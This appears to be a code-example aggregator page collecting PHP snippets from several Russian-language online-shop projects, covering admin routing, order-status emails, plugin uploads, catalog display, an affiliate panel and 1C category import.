         if (!$this->routeAction($url)) {
             if ('plugin' == $type) {
                 if (!empty($_POST['request'])) {
                     $_POST = $_POST['request'];
                 }
                 URL::setQueryParametr('view', ADMIN_DIR . 'section/views/plugintemplate.php');
             } else {
                 require_once ADMIN_DIR . 'section/controlers/' . $url;
                 $this->lang = MG::get('lang');
                 URL::setQueryParametr('view', ADMIN_DIR . 'section/views/' . $url);
             }
         }
     } else {
         // Обработкой действия займется плагин, папка которого передана в $pluginHandler.
         $actioner = URL::getQueryParametr('actionerClass');
         if (empty($actioner)) {
             // Если обработчик задан в параметре mguniqueurl ,
             // то назначаем стандартный  класс обработки,
             // который должен быть в каждом плагине.
             $actioner = 'Pactioner';
             $this->routeAction($url, $pluginHandler, $actioner);
         } else {
             // Если задан уникальный обработчик, то
             // запускаем маршрутизатор действий.
             $this->routeAction($url, $pluginHandler, $actioner);
         }
     }
 }
コード例 #23
0
ファイル: order.php プロジェクト: kostiukoleg/all4web.loc
 /**
  * Отправляет сообщение о смене статуса заказа, его владельцу.
  * @param int $id = номер заказа
  * @param int $statusId = новый статус
  */
 public function sendStatusToEmail($id, $statusId)
 {
     $order = $this->getOrder('id = ' . $id);
     $lang = MG::get('lang');
     $statusArray = self::$status;
     $statusName = $lang[$statusArray[$statusId]];
     $statusOldName = $lang[$statusArray[$order[$id]['status_id']]];
     $paramToMail = array('orderInfo' => $order[$id], 'statusId' => $statusId, 'statusName' => $statusName, 'statusOldName' => $statusOldName);
     if ($statusName !== $statusOldName) {
         $emailToUser = MG::layoutManager('email_order_status', $paramToMail);
         Mailer::addHeaders(array("Reply-to" => MG::getSetting('noReplyEmail')));
         Mailer::sendMimeMail(array('nameFrom' => MG::getSetting('noReplyEmail'), 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => $order[$id]['user_email'], 'emailTo' => $order[$id]['user_email'], 'subject' => "Заказ №" . $order[$id]['number'] . " " . $statusName, 'body' => $emailToUser, 'html' => true));
     } else {
         return false;
     }
 }
コード例 #24
0
ファイル: pm.php プロジェクト: kostiukoleg/all4web.loc
 /**
 * Метод валидации загружаемого плагина.
 *
 * @param array $file_array - массив данных загружаемого плагина
 * @return array данные о загрузке,
 *     'data' => если имеется имя загруженного плагина
  'msg' => статус(сообщение) загрузки
 */
 public static function downloadPlugin($file_array)
 {
     //имя плагина
     $name = $file_array['name'];
     //его размер
     $size = $file_array['size'];
     //временная папка архива плагина
     $path = self::$_pluginsPath;
     //поддерживаемые форматы
     $validFormats = array('zip');
     $_lang = MG::get('lang');
     if (strlen($name)) {
         $fullName = explode('.', $name);
         $ext = array_pop($fullName);
         $name = implode('.', $fullName);
         if (in_array($ext, $validFormats)) {
             if ($size < 1024 * 1024) {
                 $actualName = $name . '.' . $ext;
                 $tmp = $file_array['tmp_name'];
                 if (move_uploaded_file($tmp, $path . $actualName)) {
                     $data = $path . $actualName;
                     $msg = $_lang['PLUG_UPLOAD'];
                 } else {
                     $msg = $_lang['PLUG_UPLOAD_ERR'];
                 }
             } else {
                 $msg = $_lang['PLUG_UPLOAD_ERR2'];
             }
         } else {
             $msg = $_lang['PLUG_UPLOAD_ERR3'];
         }
     } else {
         $msg = $_lang['PLUG_UPLOAD_ERR4'];
     }
     return array('data' => $data, 'msg' => $msg);
 }
コード例 #25
0
ファイル: metodadapter.php プロジェクト: nellka/mebel
/**
 * Возвращает html код фильтров магазина.
 * Работает только для разделов каталога.
 * @param  $userStyle - отключает стандартные стили, позволяете задать пользовательские;
 */
function filterCatalog($userStyle = false)
{
    if (!$userStyle) {
        if (MG::get('controller') == 'controllers_catalog') {
            mgAddMeta('<link type="text/css" href="' . SCRIPT . 'standard/css/jquery.ui.slider.css" rel="stylesheet"/>');
            mgAddMeta('<link type="text/css" href="' . SCRIPT . 'standard/css/filter.css" rel="stylesheet"/>');
            mgAddMeta('<script type="text/javascript" src="' . SCRIPT . 'standard/js/filter.js"></script>');
        }
    }
    echo MG::get('catalogfilter');
}
コード例 #26
0
ファイル: layout_property.php プロジェクト: nellka/mebel
<?php

echo $data['blockVariants'];
echo $data['addHtml'];
?>
<div class="buy-container <?php 
echo MG::get('controller') == 'controllers_product' ? 'product' : '';
?>
" 
  <?php 
if (MG::get('controller') == 'controllers_product') {
    echo $data['maxCount'] == "0" ? 'style="display:none"' : '';
}
?>
 >
  <?php 
if (!$data['noneAmount']) {
    ?>
    <div class="hidder-element" <?php 
    echo $data['maxCount'] == "0" ? 'style="display:none"' : '';
    ?>
 >
      <p class="qty-text">Количество:</p>
      <div class="cart_form">
        <input type="text" name="amount_input" class="amount_input" data-max-count="<?php 
    echo $data['maxCount'];
    ?>
" value="1" />
        <div class="amount_change">
          <a href="#" class="up">+</a>
          <a href="#" class="down">-</a>
コード例 #27
0
ファイル: index.php プロジェクト: WinGood/24karcher
    static function affiliatePanel()
    {
        $id = USER::getThis()->id;
        if (!$id) {
            return 'Пожалуйста, <a href="' . SITE . '/registration">зарегистрируйтесь</a>, чтобы принять участие в партнерской программе ' . MG::get('sitename') . ' и получать ' . self::$percent . '% от стоимости заказов ваших друзей и знакомых.';
        }
        $parnterLink = false;
        $result = DB::query('
      SELECT *
      FROM `' . PREFIX . 'partner`
      WHERE `user_id` = ' . DB::quote($id));
        if ($row = DB::fetchAssoc($result)) {
            $parnterLink = SITE . "?partnerId=" . $row['id'];
        }
        if ($parnterLink) {
            return '<div class="accostPartner"><p>Уважаемый, партнер! Ваша реферальная ссылка: <span>' . $parnterLink . '</span></p><p>Передайте ее друзьям и знакомым и вы получите ' . self::$percent . '% от стоимости их заказа.</p></div>';
        } else {
            $html = '  
      <script>
      function newPartner(){   
      $.ajax({
			type: "POST",
			url: "ajax",
			data: {
			    pluginHandler: "partners-program", 
          actionerClass: "Partner", 
          action: "becomePartner"              
			},
			dataType: "json",
			cache: false,
			success: function(response){      
        location="' . SITE . '/affiliate" ;
    	}
		  });
      }
      </script>
      Здравствуйте, ' . USER::getThis()->name . ' ' . USER::getThis()->sname . '
        мы предлагаем Вам стать нашим партнером и получать ' . self::$percent . '% от всех заказов  привлеченных вами клентов.
        <a href="#" class="becomePartner" onclick="newPartner(); return false;">Получить реферальную сылку</a>    
        ';
            return $html;
        }
    }
コード例 #28
0
ファイル: settings.php プロジェクト: nellka/mebel
    $checked = 'checked';
}
$this->checked = $checked;
if (!($checkLibs = MG::libExists())) {
    $newVer = Updata::checkUpdata();
    preg_match('/Ближайшая версия для обновления:(.*)/', $newVer['msg'], $m);
    if (!empty($m[1])) {
        $this->newFirstVersiov = $m[1];
    }
    preg_match('/Последняя версия системы:(.*)/', $newVer['msg'], $m);
    if (!empty($m[1])) {
        $this->newLastVersiov = $m[1];
    }
    $this->newVersionMsg = 'none';
    preg_match('/Описание:(.* )/si', $newVer['msg'], $m);
    if (!empty($m[1])) {
        $this->newVersionMsg = $m[1];
    }
} else {
    foreach ($checkLibs as $message) {
        $errorUpdata .= $message . '<br>';
    }
    $this->errorUpdata = $errorUpdata;
}
if (32 != strlen($licenceKey['value']) && !empty($licenceKey['value'])) {
    $this->updataDisabled = 'disabled';
    $this->updataOpacity = 'opacity';
}
$listCategories = MG::get('category')->getCategoryTitleList();
$listCategories[0] = "Все доступные характеристики";
$this->listCategories = $listCategories;
コード例 #29
0
ファイル: catalog.php プロジェクト: WinGood/24karcher
 function __construct()
 {
     $settings = MG::get('settings');
     // Если нажата кнопка купить.
     $_REQUEST['category_id'] = URL::getQueryParametr('category_id');
     if (!empty($_REQUEST['inCartProductId'])) {
         $cart = new Models_Cart();
         // Если параметров  товара не передано
         // возможно была нажата кнопка купить из мини карточки,
         // в этом случае самостоятельно вычисляем набор
         // параметров, которые были бы указаны при открытии карточки товара.
         if (empty($_POST) || isset($_POST['updateCart']) && isset($_POST['inCartProductId']) && count($_POST) == 2) {
             $modelProduct = new Models_Product();
             $product = $modelProduct->getProduct($_REQUEST['inCartProductId']);
             if (empty($product)) {
                 MG::redirect('/404');
                 exit;
             }
             $blockVariants = $modelProduct->getBlockVariants($product['id']);
             $blockedProp = $modelProduct->noPrintProperty();
             $propertyFormData = $modelProduct->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => $product['thisUserFields'], 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants, 'currency_iso' => $product['currency_iso']));
             $_POST = $propertyFormData['defaultSet'];
             $_POST['inCartProductId'] = $product['id'];
         }
         $property = $cart->createProperty($_POST);
         $cart->addToCart($_REQUEST['inCartProductId'], $_REQUEST['amount_input'], $property);
         SmalCart::setCartData();
         MG::redirect('/cart');
     }
     if (!empty($_REQUEST['fastsearch'])) {
         $this->getSearchData();
     }
     $countСatalogProduct = $settings['countСatalogProduct'];
     // Показать первую страницу выбранного раздела.
     $page = 1;
     // Запрашиваемая страница.
     if (isset($_REQUEST['p'])) {
         $page = $_REQUEST['p'];
     }
     $model = new Models_Catalog();
     // Если происходит поиск по ключевым словам.
     $keyword = MG::defenderXss_decode(urldecode(URL::getQueryParametr('search')));
     if (!empty($keyword)) {
         $keyword = $this->convertLang($keyword);
         $items = $model->getListProductByKeyWord($keyword, false, true, false, 'groupBy');
         $searchData = array('keyword' => $keyword, 'count' => $items['numRows']);
     } else {
         // Получаем список вложенных категорий,
         // для вывода всех продуктов, на страницах текущей категории.
         if (empty($_REQUEST['category_id'])) {
             $_REQUEST['category_id'] = 0;
         }
         $model->categoryId = MG::get('category')->getCategoryList($_REQUEST['category_id']);
         // В конец списка, добавляем корневую текущую категорию.
         $model->categoryId[] = $_REQUEST['category_id'];
         // Записываем в глобальную переменную список всех вложенных категорий,
         // чтобы использовать в других местах кода, например в фильтре по характеристикам
         $_REQUEST['category_ids'] = $model->categoryId;
         // Передаем номер требуемой страницы, и количество выводимых объектов.
         $countСatalogProduct = $settings['countСatalogProduct'];
         $items = $model->getList($countСatalogProduct, false, true);
     }
     // Если с фильтра пришел запрос только на количество позиций.
     if (!empty($_REQUEST['getcount']) && !empty($_REQUEST['filter'])) {
         echo $items['totalCountItems'] ? $items['totalCountItems'] : 0;
         exit;
     }
     $settings = MG::get('settings');
     if (empty($items['catalogItems'])) {
         $items['catalogItems'] = array();
     } else {
         foreach ($items['catalogItems'] as $item) {
             if ($item['id']) {
                 $productIds[] = $item['id'];
             }
         }
         $product = new Models_Product();
         $blocksVariants = empty($productIds) ? null : $product->getBlocksVariantsToCatalog($productIds);
         $blockedProp = $product->noPrintProperty();
         $actionButton = MG::getSetting('actionInCatalog') === "true" ? 'actionBuy' : 'actionView';
         foreach ($items['catalogItems'] as $k => $item) {
             $imagesUrl = explode("|", $item['image_url']);
             $items['catalogItems'][$k]["image_url"] = "";
             if (!empty($imagesUrl[0])) {
                 $items['catalogItems'][$k]["image_url"] = $imagesUrl[0];
             }
             $items['catalogItems'][$k]['title'] = MG::modalEditor('catalog', $item['title'], 'edit', $item["id"]);
             if ($items['catalogItems'][$k]['count'] == 0) {
                 $buyButton = $items['catalogItems'][$k]['actionView'];
             } else {
                 $buyButton = $items['catalogItems'][$k][$actionButton];
                 if (!empty($items['catalogItems'][$k]['variants'])) {
                     foreach ($items['catalogItems'][$k]['variants'] as $variant) {
                         if ($variant['count'] == 0) {
                             $buyButton = $items['catalogItems'][$k]['actionView'];
                         }
                     }
                 }
             }
             // Легкая форма без характеристик.
             $liteFormData = $product->createPropertyForm($param = array('id' => $item['id'], 'maxCount' => $item['count'], 'productUserFields' => null, 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => true, 'titleBtn' => "В корзину", 'blockVariants' => $blocksVariants[$item['id']], 'buyButton' => $buyButton));
             $items['catalogItems'][$k]['liteFormData'] = $liteFormData['html'];
             $buyButton = $items['catalogItems'][$k]['liteFormData'];
             $items['catalogItems'][$k]['buyButton'] = $buyButton;
         }
     }
     $categoryDesc = MG::get('category')->getDesctiption($_REQUEST['category_id']);
     if ($_REQUEST['category_id']) {
         $categoryDesc = MG::inlineEditor(PREFIX . 'category', "html_content", $_REQUEST['category_id'], $categoryDesc);
     }
     $catImg = MG::get('category')->getImageCategory($_REQUEST['category_id']);
     //$model->currentCategory['title'] = $_REQUEST['category_id'] ? $model->currentCategory['title'] : 0,
     //var_dump($model->currentCategory['title']);
     $data = array('items' => $items['catalogItems'], 'titeCategory' => $model->currentCategory['title'], 'cat_desc' => $categoryDesc, 'cat_img' => $catImg, 'cat_id' => $_REQUEST['category_id'] ? $_REQUEST['category_id'] : 0, 'filterBar' => $items['filterBarHtml'], 'totalCountItems' => $items['totalCountItems'], 'pager' => $items['pager'], 'searchData' => empty($searchData) ? '' : $searchData, 'meta_title' => !empty($model->currentCategory['meta_title']) ? $model->currentCategory['meta_title'] : $model->currentCategory['title'], 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "товары,продукты,изделия", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "В каталоге нашего магазина есть все.", 'currency' => $settings['currency'], 'actionButton' => $actionButton);
     if (URL::isSection('catalog') || MG::getSetting('catalogIndex') == 'true' && (URL::isSection('index') || URL::isSection(''))) {
         $html = MG::get('pages')->getPageByUrl('catalog');
         $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']);
         $data['meta_title'] = $html['meta_title'] ? $html['meta_title'] : $html['title'];
         $data['meta_title'] = $data['meta_title'] ? $data['meta_title'] : $model->currentCategory['title'];
         $data['meta_keywords'] = $html['meta_keywords'];
         $data['meta_desc'] = $html['meta_desc'];
         $data['cat_desc'] = $html['html_content'];
         $data['titeCategory'] = $html['title'];
     }
     if ($keyword) {
         $data['meta_title'] = 'Поиск по фразе: ' . $keyword;
     }
     $this->data = $data;
 }
コード例 #30
0
ファイル: exchange1c.php プロジェクト: WinGood/24karcher
 /**
  * Создание новой категории.
  * @param $category - категория.
  */
 function newCategory($category)
 {
     $url = URL::prepareUrl(MG::translitIt($category['name'], 1));
     $parent_url = MG::get('category')->getParentUrl($category['parent_id']);
     $parent = URL::prepareUrl(MG::translitIt($category['parentname'], 1));
     $data = array('title' => $category['name'], 'url' => str_replace(array('/', '\\'), '-', $url), 'parent' => $category['parent_id'], 'html_content' => $category['description'], 'meta_title' => $category['name'], 'meta_keywords' => $category['name'], 'meta_desc' => MG::textMore($category['description'], 157), 'invisible' => 0, 'parent_url' => $parent_url, '1c_id' => $category['1c_id']);
     $res = DB::query('SELECT *
   FROM `' . PREFIX . 'category`
   WHERE `1c_id`=' . DB::quote($category['1c_id']));
     if ($row = DB::fetchAssoc($res)) {
         DB::query('
     UPDATE `' . PREFIX . 'category`
     SET ' . DB::buildPartQuery($data) . '
     WHERE `1c_id`=' . DB::quote($category['1c_id']));
         return $row['id'];
     } else {
         $data = MG::get('category')->addCategory($data);
         return $data['id'];
     }
     return 0;
 }